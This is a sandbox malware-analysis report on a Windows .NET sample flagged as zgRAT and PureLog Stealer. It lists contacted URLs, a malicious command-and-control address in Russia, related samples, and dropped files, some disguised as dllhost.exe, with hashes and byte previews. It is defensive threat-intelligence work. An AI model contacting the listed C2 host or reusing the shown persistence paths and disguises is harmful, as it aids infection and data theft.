http://www.typography.netD	IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4151869849.000000001FCC2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ac.ecosia.org/autocomplete?q=	IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4126243719.00000000144B2000.00000004.00000800.00020000.00000000.sdmp, IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4126243719.0000000013DC8000.00000004.00000800.00020000.00000000.sdmp, IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4126243719.00000000134BB000.00000004.00000800.00020000.00000000.sdmp, IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4126243719.0000000013553000.00000004.00000800.00020000.00000000.sdmp, IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4126243719.0000000013A7F000.00000004.00000800.00020000.00000000.sdmp, IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4126243719.00000000139CB000.00000004.00000800.00020000.00000000.sdmp, IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4126243719.0000000013406000.00000004.00000800.00020000.00000000.sdmp, 6o0eAObxUQ.5.dr, xEnXMmNnKh.5.dr, 24VGEROb9U.5.dr, RDHKvUVw2I.5.dr, INlZjVVjPj.5.dr, sWksvJIecg.5.dr, QB41UIVJap.5.dr, Ur2r4ndHXO.5.dr, n41bJP1fTl.5.dr, BMQdcAHtri.5.dr, ldEgUKiDch.5.dr, 2aBXW5mUaK.5.dr, JKmS1ZC9C0.5.dr, NDPDdVt8rn.5.dr	false		high
http://www.fontbureau.com/designers/cabarga.htmlN	IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4151869849.000000001FCC2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.founder.com.cn/cn/cThe	IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4151869849.000000001FCC2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.galapagosdesign.com/staff/dennis.htm	IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4151869849.000000001FCC2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.founder.com.cn/cn	IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4151869849.000000001FCC2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://62.109.6.177/Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/	IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4111793504.00000000034DA000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://www.fontbureau.com/designers/frere-user.html	IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4151869849.000000001FCC2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4126243719.00000000144B2000.00000004.00000800.00020000.00000000.sdmp, IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4126243719.0000000013DC8000.00000004.00000800.00020000.00000000.sdmp, IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4126243719.00000000134BB000.00000004.00000800.00020000.00000000.sdmp, IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4126243719.0000000013553000.00000004.00000800.00020000.00000000.sdmp, IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4126243719.0000000013A7F000.00000004.00000800.00020000.00000000.sdmp, IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4126243719.00000000139CB000.00000004.00000800.00020000.00000000.sdmp, IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4126243719.0000000013406000.00000004.00000800.00020000.00000000.sdmp, 6o0eAObxUQ.5.dr, xEnXMmNnKh.5.dr, 24VGEROb9U.5.dr, RDHKvUVw2I.5.dr, INlZjVVjPj.5.dr, sWksvJIecg.5.dr, QB41UIVJap.5.dr, Ur2r4ndHXO.5.dr, n41bJP1fTl.5.dr, BMQdcAHtri.5.dr, ldEgUKiDch.5.dr, 2aBXW5mUaK.5.dr, JKmS1ZC9C0.5.dr, NDPDdVt8rn.5.dr	false		high
http://www.jiyu-kobo.co.jp/	IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4151869849.000000001FCC2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://62.109.6.177/Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefau	IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4111793504.0000000003783000.00000004.00000800.00020000.00000000.sdmp, IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4111793504.000000000384F000.00000004.00000800.00020000.00000000.sdmp, IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4111793504.00000000036D0000.00000004.00000800.00020000.00000000.sdmp, IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4111793504.0000000003847000.00000004.00000800.00020000.00000000.sdmp, IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4111793504.00000000039E3000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://www.galapagosdesign.com/DPlease	IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4151869849.000000001FCC2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fontbureau.com/designers8	IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4151869849.000000001FCC2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fonts.com	IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4151869849.000000001FCC2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.sandoll.co.kr	IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4151869849.000000001FCC2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.urwpp.deDPlease	IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4151869849.000000001FCC2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.zhongyicts.com.cn	IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4151869849.000000001FCC2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	aW6kSsgdvv.exe, 00000000.00000002.1694422783.0000000003453000.00000004.00000800.00020000.00000000.sdmp, IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4111793504.00000000034DA000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.sakkal.com	IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4151869849.000000001FCC2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4126243719.00000000144B2000.00000004.00000800.00020000.00000000.sdmp, IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4126243719.0000000013DC8000.00000004.00000800.00020000.00000000.sdmp, IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4126243719.00000000134BB000.00000004.00000800.00020000.00000000.sdmp, IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4126243719.0000000013553000.00000004.00000800.00020000.00000000.sdmp, IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4126243719.0000000013A7F000.00000004.00000800.00020000.00000000.sdmp, IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4126243719.00000000139CB000.00000004.00000800.00020000.00000000.sdmp, IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4126243719.0000000013406000.00000004.00000800.00020000.00000000.sdmp, 6o0eAObxUQ.5.dr, xEnXMmNnKh.5.dr, 24VGEROb9U.5.dr, RDHKvUVw2I.5.dr, INlZjVVjPj.5.dr, sWksvJIecg.5.dr, QB41UIVJap.5.dr, Ur2r4ndHXO.5.dr, n41bJP1fTl.5.dr, BMQdcAHtri.5.dr, ldEgUKiDch.5.dr, 2aBXW5mUaK.5.dr, JKmS1ZC9C0.5.dr, NDPDdVt8rn.5.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
62.109.6.177	unknown	Russian Federation		29182	THEFIRST-ASRU	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1584143
Start date and time:	2025-01-04 13:36:06 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 31s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	11
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	aW6kSsgdvv.exe renamed because original name is a hash value
Original Sample Name:	e6745a5bd70cf276b92b38cde101feec.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@10/296@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 184.28.90.27, 4.175.87.197, 13.107.246.45
Excluded domains from analysis (whitelisted): fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, 7.4.8.4.4.3.1.4.0.0.0.0.0.0.0.0.0.0.0.a.0.0.1.f.1.1.1.0.1.0.a.2.ip6.arpa, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
HTTP sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtQueryVolumeInformationFile calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
07:37:08	API Interceptor	13317808x Sleep call for process: IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe modified

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
THEFIRST-ASRU	https://klickskydd.skolverket.org/?url=https%3A%2F%2Fwww.gazeta.ru%2Fpolitics%2Fnews%2F2024%2F12%2F22%2F24684722.shtml&id=71de&rcpt=upplysningstjansten@skolverket.se&tss=1735469857&msgid=b53e7603-c5d3-11ef-8a2e-0050569b0508&html=1&h=ded85c63	Get hash	malicious	HTMLPhisher	Browse	188.120.241.50
	https://www.gazeta.ru/politics/news/2024/12/22/24684722.shtml	Get hash	malicious	HTMLPhisher	Browse	188.120.241.50
	https://www.gazeta.ru/politics/news/2024/12/22/24684854.shtml	Get hash	malicious	HTMLPhisher	Browse	82.146.48.146
	Y96iIjl6mj.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	62.109.1.101
	DF2.exe	Get hash	malicious	Unknown	Browse	188.120.244.218
	setup.exe	Get hash	malicious	Unknown	Browse	37.230.117.113
	ArELGBzuuF.exe	Get hash	malicious	DCRat	Browse	185.43.5.145
	TodjHkXUZB.exe	Get hash	malicious	DCRat	Browse	62.109.25.165
	7fGdoA6Inq.exe	Get hash	malicious	DCRat	Browse	78.24.221.196
	Josho.spc.elf	Get hash	malicious	Unknown	Browse	178.250.157.175

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\Desktop\AoefClwh.log	HMhdtzxEHf.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	kJrNOFEGbQ.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	lEwK4xROgV.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	zZ1Y43bxxV.exe	Get hash	malicious	DCRat	Browse
	VqGD18ELBM.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	updIMdPUj8.exe	Get hash	malicious	DCRat	Browse
	f3I38kv.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	r6cRyCpdfS.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	Z4D3XAZ2jB.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	cbCjTbodwa.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse

Created / dropped Files

C:\Program Files (x86)\Microsoft Office\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

Download File

Process:	C:\Users\user\Desktop\aW6kSsgdvv.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	3687424
Entropy (8bit):	7.822193946294839
Encrypted:	false
SSDEEP:	98304:y6HfMWt7I6kNE+VOoCCUAFIbEOyaeRCBWkfzZ:y6HfMWtk6klVlrFYEOZ4luzZ
MD5:	E6745A5BD70CF276B92B38CDE101FEEC
SHA1:	5AB864C5B1359BC30E3433954EBA659CD1E9FA37
SHA-256:	49019BC2C2573667816D4DA69C572B20BDEA344A1B2F0481E270CBA50337B8A7
SHA-512:	A363DF619A65B5DC82670352C2B6523EEB735EAD2B98A3FC85759876757A87C380B1ABF1C8230CD46F0B53415040300BB71FAE33BC4E2144983FDDBFB189A1A9
Malicious:	true
Yara Hits:	Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: C:\Program Files (x86)\Microsoft Office\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Program Files (x86)\Microsoft Office\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Program Files (x86)\Microsoft Office\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Program Files (x86)\Microsoft Office\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Program Files (x86)\Microsoft Office\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Program Files (x86)\Microsoft Office\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Program Files (x86)\Microsoft Office\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Program Files (x86)\Microsoft Office\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 74%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...u..e.................<8..........[8.. ...`8...@.. ........................8...........@..................................Z8.K....`8.p.....................8...................................................... ............... ..H............text...4;8.. ...<8................. ..`.rsrc...p....`8......>8.............@....reloc........8......B8.............@..B.................[8.....H.......d...........t.......Ro-._Z8......................................0..........(.... ........8........E....).......M...N...8$...(.... ....~....{g...9....& ....8....(.... ....~....{....9....& ....8....(.... ....~....{....:....& ....8y......0.......... ........8........E........\.......P.......8\|...~....(a... .... .... ....s....~....(e....... ....~....{....9....& ....8....r...ps....z...... ....~....{....9q...& ....8f.......~....(i...~....(m... ....?.... ....8:...~....:..

C:\Program Files (x86)\Microsoft Office\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\aW6kSsgdvv.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Reputation:	high, very likely benign file
Preview:	[ZoneTransfer]....ZoneId=0

C:\Program Files (x86)\Microsoft Office\bac0f074c202d5

Download File

Process:	C:\Users\user\Desktop\aW6kSsgdvv.exe
File Type:	ASCII text, with very long lines (656), with no line terminators
Category:	dropped
Size (bytes):	656
Entropy (8bit):	5.894985150791504
Encrypted:	false
SSDEEP:	12:xm54aauqbap0+3pQmH3fhld3huIM+L4kTIrGZ99r5v8/Yi8yabwSvKK5muvstY:xmojs0iQmHvB3AIMe4KJ8ADPvB5mxy
MD5:	4964A009D313680BB8481258913BE987
SHA1:	01A4783252F5CAB012E7A5FC04538454A82FE805
SHA-256:	3B282B369A2A6ACF77DC9BF81254C11184C0A72338A320CFD34FFC3F18860038
SHA-512:	5C5ADCB186FDE814AA16916D000731628357366B5BA5CCB91AA372D2888CBC79B54E2EDBE4CE195BE220BFCC057285AB628BCB9744C6D3C64DE64C61700CEA0B
Malicious:	false
Reputation:	low
Preview:	0goDIaY4c73r9VDOApU3yBxFWtRaHRhkc0SdEF2LbGexCHI8Z7Joxb0ysiqYJ8wKaTOIDjK5xIcrgADPlTBKI2xBAdvfYdCdTTXs3A50xN0o9IRrfbx06mChgNHjxohTG9YNmUVlYLX4CIC2MEA6qMgrR0Mq2WCJqgiAtEEKFMcvOIfXKOXtnkn3cq5wIpsCIONfkCIH9z1duucJVyfo8SfG3ohDISCaeanA49xIFPuxsJJrNwbUJEDzsHm6eF8qxb9UHcOVBWitisXtez0W1sQZWxSwX0nAQDARJzkvhFSwfTQAu2coOmzFLj7UJc7KthcfsFjoPEyvZd4DgSCfY8voN4Gk2PmFHID71vRoTxZJyEprp4x0ZcwuvxRx99w9csnRZ6LuAYLkjl0JOY48cvqpVTLDeepTBZqFaYStsCzBQLKJ7HikFyhrC85FuIQgt1jK5ut0GKPZ5pYKJBFW5EOM19DbdN9kwTRZm9OMYse4iIwXkv6sC4komWT6rRW2LpnlX9hJx28NkUotMp1rRRh1snwPqSfGVlt2eK9kNw5J6XDSrjtBaol3Iv2tNSdeX119kwOCpReeWY5VkdhGjdqq9zutRQX4SavEfEs5VrWJKHht0hJuvW54LKAuCeuZ3jL5m1zgulu2Hhg2

C:\Program Files (x86)\Windows NT\TableTextService\en-US\5940a34987c991

Download File

Process:	C:\Users\user\Desktop\aW6kSsgdvv.exe
File Type:	ASCII text, with very long lines (751), with no line terminators
Category:	dropped
Size (bytes):	751
Entropy (8bit):	5.892062772040841
Encrypted:	false
SSDEEP:	12:vDGUIqsBuVnOcliROk1eQCg7lAELegWH34ASIipUyfVC21tZU6/HAEb3+oxOURQc:v6NBqnOVN1eQneoAlm9A2FZ/HXbOoxjv
MD5:	7F6CFC98C6E32D9F23755830D8B9B18C
SHA1:	5456DD749198AE737F74581338DB71B5AC90331B
SHA-256:	1F0D3E8A2F98C1E073A5D237CB744C7F5369F3838F7DE3C6230416E6F90291F7
SHA-512:	443CB343ADA97FEEDDC7FEFFC4A8E6B1191E221B2B67BC8690CBDC6049D5222F436BDC055A68F0BC044C783EDFD99CCCB1B2928CA75C8BC615231F9BB5EF5D61
Malicious:	false
Preview:	4rtK1bKKjccIgtXTcxc8SwZY1vZA55TylFk78FPE5Z1e7ukVbBF9LebIRVSFCJPoJogaIZVWiXD255aGKEj4zTmHocqnwJCvKMUSOKMBqsbxbiNW4M47kVyzBZvqtrjZVRrskI2A1hNG2zqFOTskOFKzXeQyYgS8JCcJ0fvvT4FCHs7MtqbZ98KPH2VG1ElVPP70WgOti7RT9IsphEEsE29K1MC8Kp4OTuw2uHzMcs1Br0Q8Jpjx93QXPx8KePj2CCAPV05aO2PWA7cA6DzeGHPaeZm6IpsMJ89p0AmTuIiHn4WRU8NaaEw5wkv6N8RjJDMB8xJ5afu7iIwkCVlJbRwFLD2QPpGw087jrUThyR94UzWoxK41WII2RH0453qvZ8GkLM2rBEVJR1vWrNdEvOZs0ESkeZl5lOfVsvdkSN0Rw8lZWdNrZlAKiXuG3SMmcahCVZn5u2wiYH61d3NBL4fAOVxVBWq9ANzWaiD6zR7hybwab2mAELai4hyAmS3XLwhKSjb5zRL378LwjW3Jtp5zwRc3uDUhYjVC4lI2brLx9gk6VBbPYung1sXBHhKv6ofXnJ27NBrBeHzPqghtmEJn5zLLNHu3ha1VBNSMIdCWCmBt3HVlAbJ1e1cy8ruGRxeEQdOdNUkJCwkTxbSFwJ3GR90JueObt6FPH7cZ32Yq09ysQJAgYoUH4YwRmEssFJaGqVLz92M4vMPRKI2lesCEl7UtKLxyJqkrjsC57KhgcZW

C:\Program Files (x86)\Windows NT\TableTextService\en-US\dllhost.exe

Download File

Process:	C:\Users\user\Desktop\aW6kSsgdvv.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	3687424
Entropy (8bit):	7.822193946294839
Encrypted:	false
SSDEEP:	98304:y6HfMWt7I6kNE+VOoCCUAFIbEOyaeRCBWkfzZ:y6HfMWtk6klVlrFYEOZ4luzZ
MD5:	E6745A5BD70CF276B92B38CDE101FEEC
SHA1:	5AB864C5B1359BC30E3433954EBA659CD1E9FA37
SHA-256:	49019BC2C2573667816D4DA69C572B20BDEA344A1B2F0481E270CBA50337B8A7
SHA-512:	A363DF619A65B5DC82670352C2B6523EEB735EAD2B98A3FC85759876757A87C380B1ABF1C8230CD46F0B53415040300BB71FAE33BC4E2144983FDDBFB189A1A9
Malicious:	true
Yara Hits:	Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: C:\Program Files (x86)\Windows NT\TableTextService\en-US\dllhost.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Program Files (x86)\Windows NT\TableTextService\en-US\dllhost.exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 74%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...u..e.................<8..........[8.. ...`8...@.. ........................8...........@..................................Z8.K....`8.p.....................8...................................................... ............... ..H............text...4;8.. ...<8................. ..`.rsrc...p....`8......>8.............@....reloc........8......B8.............@..B.................[8.....H.......d...........t.......Ro-._Z8......................................0..........(.... ........8........E....).......M...N...8$...(.... ....~....{g...9....& ....8....(.... ....~....{....9....& ....8....(.... ....~....{....:....& ....8y......0.......... ........8........E........\.......P.......8\|...~....(a... .... .... ....s....~....(e....... ....~....{....9....& ....8....r...ps....z...... ....~....{....9q...& ....8f.......~....(i...~....(m... ....?.... ....8:...~....:..

C:\Program Files (x86)\Windows NT\TableTextService\en-US\dllhost.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\aW6kSsgdvv.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

Download File

Process:	C:\Users\user\Desktop\aW6kSsgdvv.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	3687424
Entropy (8bit):	7.822193946294839
Encrypted:	false
SSDEEP:	98304:y6HfMWt7I6kNE+VOoCCUAFIbEOyaeRCBWkfzZ:y6HfMWtk6klVlrFYEOZ4luzZ
MD5:	E6745A5BD70CF276B92B38CDE101FEEC
SHA1:	5AB864C5B1359BC30E3433954EBA659CD1E9FA37
SHA-256:	49019BC2C2573667816D4DA69C572B20BDEA344A1B2F0481E270CBA50337B8A7
SHA-512:	A363DF619A65B5DC82670352C2B6523EEB735EAD2B98A3FC85759876757A87C380B1ABF1C8230CD46F0B53415040300BB71FAE33BC4E2144983FDDBFB189A1A9
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 74%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...u..e.................<8..........[8.. ...`8...@.. ........................8...........@..................................Z8.K....`8.p.....................8...................................................... ............... ..H............text...4;8.. ...<8................. ..`.rsrc...p....`8......>8.............@....reloc........8......B8.............@..B.................[8.....H.......d...........t.......Ro-._Z8......................................0..........(.... ........8........E....).......M...N...8$...(.... ....~....{g...9....& ....8....(.... ....~....{....9....& ....8....(.... ....~....{....:....& ....8y......0.......... ........8........E........\.......P.......8\|...~....(a... .... .... ....s....~....(e....... ....~....{....9....& ....8....r...ps....z...... ....~....{....9q...& ....8f.......~....(i...~....(m... ....?.... ....8:...~....:..

C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\aW6kSsgdvv.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Program Files\WindowsPowerShell\Configuration\bac0f074c202d5

Download File

Process:	C:\Users\user\Desktop\aW6kSsgdvv.exe
File Type:	ASCII text, with very long lines (969), with no line terminators
Category:	dropped
Size (bytes):	969
Entropy (8bit):	5.913042110437745
Encrypted:	false
SSDEEP:	24:V2MkZBfBovuEfFCxpmXPKTJ9rus5SpjFWI/WSQABO:VgXBAfox1Ws5S3/WKU
MD5:	7DDE3F19727959B26AA3E22C646C4173
SHA1:	036301069E12CAF0C424D2D51A17D7386380F208
SHA-256:	0ABF3C28BC7931D647CF951300261A0AF214D0047A1007C05B6DB353E232D5A4
SHA-512:	4168E4276E54828C6BAB5AC0F809F0964BB41A6331374A11BE164914D4005F2A49C5DE1D78163F9504BB8C6B7CD6E65204CC7929A15C196DB83B1B53DA0EE20C
Malicious:	false
